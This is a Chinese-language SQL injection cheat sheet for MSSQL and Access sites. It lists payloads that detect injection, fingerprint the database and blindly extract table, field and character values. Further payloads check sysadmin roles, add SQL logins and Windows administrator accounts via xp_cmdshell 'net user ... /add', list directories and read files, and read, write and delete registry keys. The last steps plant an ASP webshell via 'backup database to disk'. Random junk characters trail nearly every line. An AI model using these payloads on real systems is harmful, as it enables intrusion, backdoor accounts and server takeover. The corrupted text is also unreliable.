1.判断是否有注入;and 1=1 ;and 1=2 EkN_8(w
2.初步判断是否是mssql ;and user>0 Y\.-v\uJu
an3~'g?
3.注入参数是字符'and [查询条件] and ''=' AXz-4,=xX
*:a'GC%/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %lN2n,AK
nN>J*02(
5.判断数据库系统
%b=Y
<v
3(1]FKZtt
;and (select count(*) from sysobjects)>0 mssql L
;6b+I
h S4.3]ei
;and (select count(*) from msysobjects)>0 access dZPW2yf
x>}B#
)VNM/o%Q
lc]V\'e
6.猜数据库 ;and (select Count(*) from [数据库名])>0 z)}3**3'y
}7K@e;YUg
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \ jECSV|
ToV6lS"
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 BbFa=H.
Hal7
MP
9.(1)猜字段的ascii值(access) }K2
/&kZ
"[k1D_PZ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 b)N[[sOt
xpF](>LC(
(2)猜字段的ascii值(mssql) .:rmA8U[
b3}Q#Y\G
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 k!T|)\nc+
q(,cYu
10.测试权限结构(mssql) !{;[xXK4M
! 0^;;'
fV 3r|Bp
^V[/(Lq
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )CJES!!
W
M&r2:Whk
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- LIF|bE9kd
u^Vh.g]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Z .quh;
_1ew(x2J
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5UE409Gn'
<$%ql'=
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9z:K1
:Zza)>l
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- UVrQV$g!
-LTKpN`[@
;and 1=(select IS_MEMBER('db_owner'));-- wzd`l?o,
ndw7v
;+sl7qlA4
ylu2R0] (
11.添加mssql和系统的帐户 @dl8(ILk'
wxE?3%.j\
;exec master.dbo.sp_addlogin username;-- ^5>s7SGB"
;exec master.dbo.sp_password null,username,password;-- $_sYfU9
jo}1u_OJ
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -ey)J
+?t
Z^+rQ.%n"&
;exec master.dbo.xp_cmdshell 'net user username password qe?Qeh(!X
+Gow5-(
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- % #u.J
l;OYUq~F
;exec master.dbo.xp_cmdshell 'net user username password /add';--
[>f]@>
6gnbkpYi
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &f-hG3/M
ND5$bq Nu?
&R,9+c
1_uvoFLk
12.(1)遍历目录 tmO`|tn&
+TH3&H5I_A
;create table dirs(paths varchar(100), id int) ?Nf
5w
Hy]
;insert dirs exec master.dbo.xp_dirtree 'c:\' zzJja/mp
vg)Z]F=t(
;and (select top 1 paths from dirs)>0 :=*}htP4C
KVN"XqE4
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7NJFWz!
X P;Bhz3j
Mu{BUtkzG
~EEs}i
(2)遍历目录 9#qeFBI
"k:=Y7Dx
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- F)SP aC4
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 CQgcC-)ns]
*nRNg.i3D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 s5&=Bsv
(Sv>NQp
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 v*z(@<Y
{:bN/zV#
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0}]SUe^
'H|~u&?
qM",( Bh
]]2k}A[-I
13.mssql中的存储过程 5dl,co{q
w_Uh
xp_regenumvalues 注册表根键, 子键 _fn1)
@pFj9[N
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 71"+<C .
]a?bzOr,
xp_regread 根键,子键,键值名 $shp(T,q
X:EEPGE
;exec xp_regread 7C7>y/uS
Q9c)k{QZ
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #H~_K}Ks
\S ."?!U
xp_regwrite 根键,子键, 值名, 值类型, 值 booRrTS
.TpsJXF
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 M:n 6BC>t"
~Y7dH
Dn
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Vn, ><g
q/PNJ#<
xp_regdeletevalue 根键,子键,值名 ^A9M;q
p=Y>i 'CG
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;b0NGa(k
vWjnI*6T#
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 X%}nFgqQ
QR0(,e$Dl
h/)_)
r.x
asVX82<
14.mssql的backup创建webshell hH>``gK
o6a0'vU><
use model W\cjdd
,SUT~oETP
create table cmd(str image); )d`mvZBn1
Da.G4,vLh
insert into cmd(str) values (''); Ak@Dyi?p
86
.`T l;
backup database model to disk='c:\l.asp'; r.yK,
mJ5H=&Z
S,jZ3^
4_^[=p/R
15.mssql内置函数 nh.32q]
=qu(~]2(
;and (select @@version)>0 获得Windows的版本号 56}X/u
$B (kZ
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 33Az$GXFsq
2C=Q8ayvX
;and (select user_name())>0 爆当前系统的连接用户 @'6"7g
/=: j9FF
;and (select db_name())>0 得到当前连接的数据库 nw6pV%
=9wy/c$
r^fe4b
wT,R0~V0
16.简洁的webshell F3Maqr y
"i^
GmVn
use model 6.WceWBR
>''U
create table cmd(str image); aYn^)6^
!l@zT}i??
insert into cmd(str) values (''); jgv`>o%<W
>ut" OL9J
backup database model to disk='g:\wwwtest\l.asp';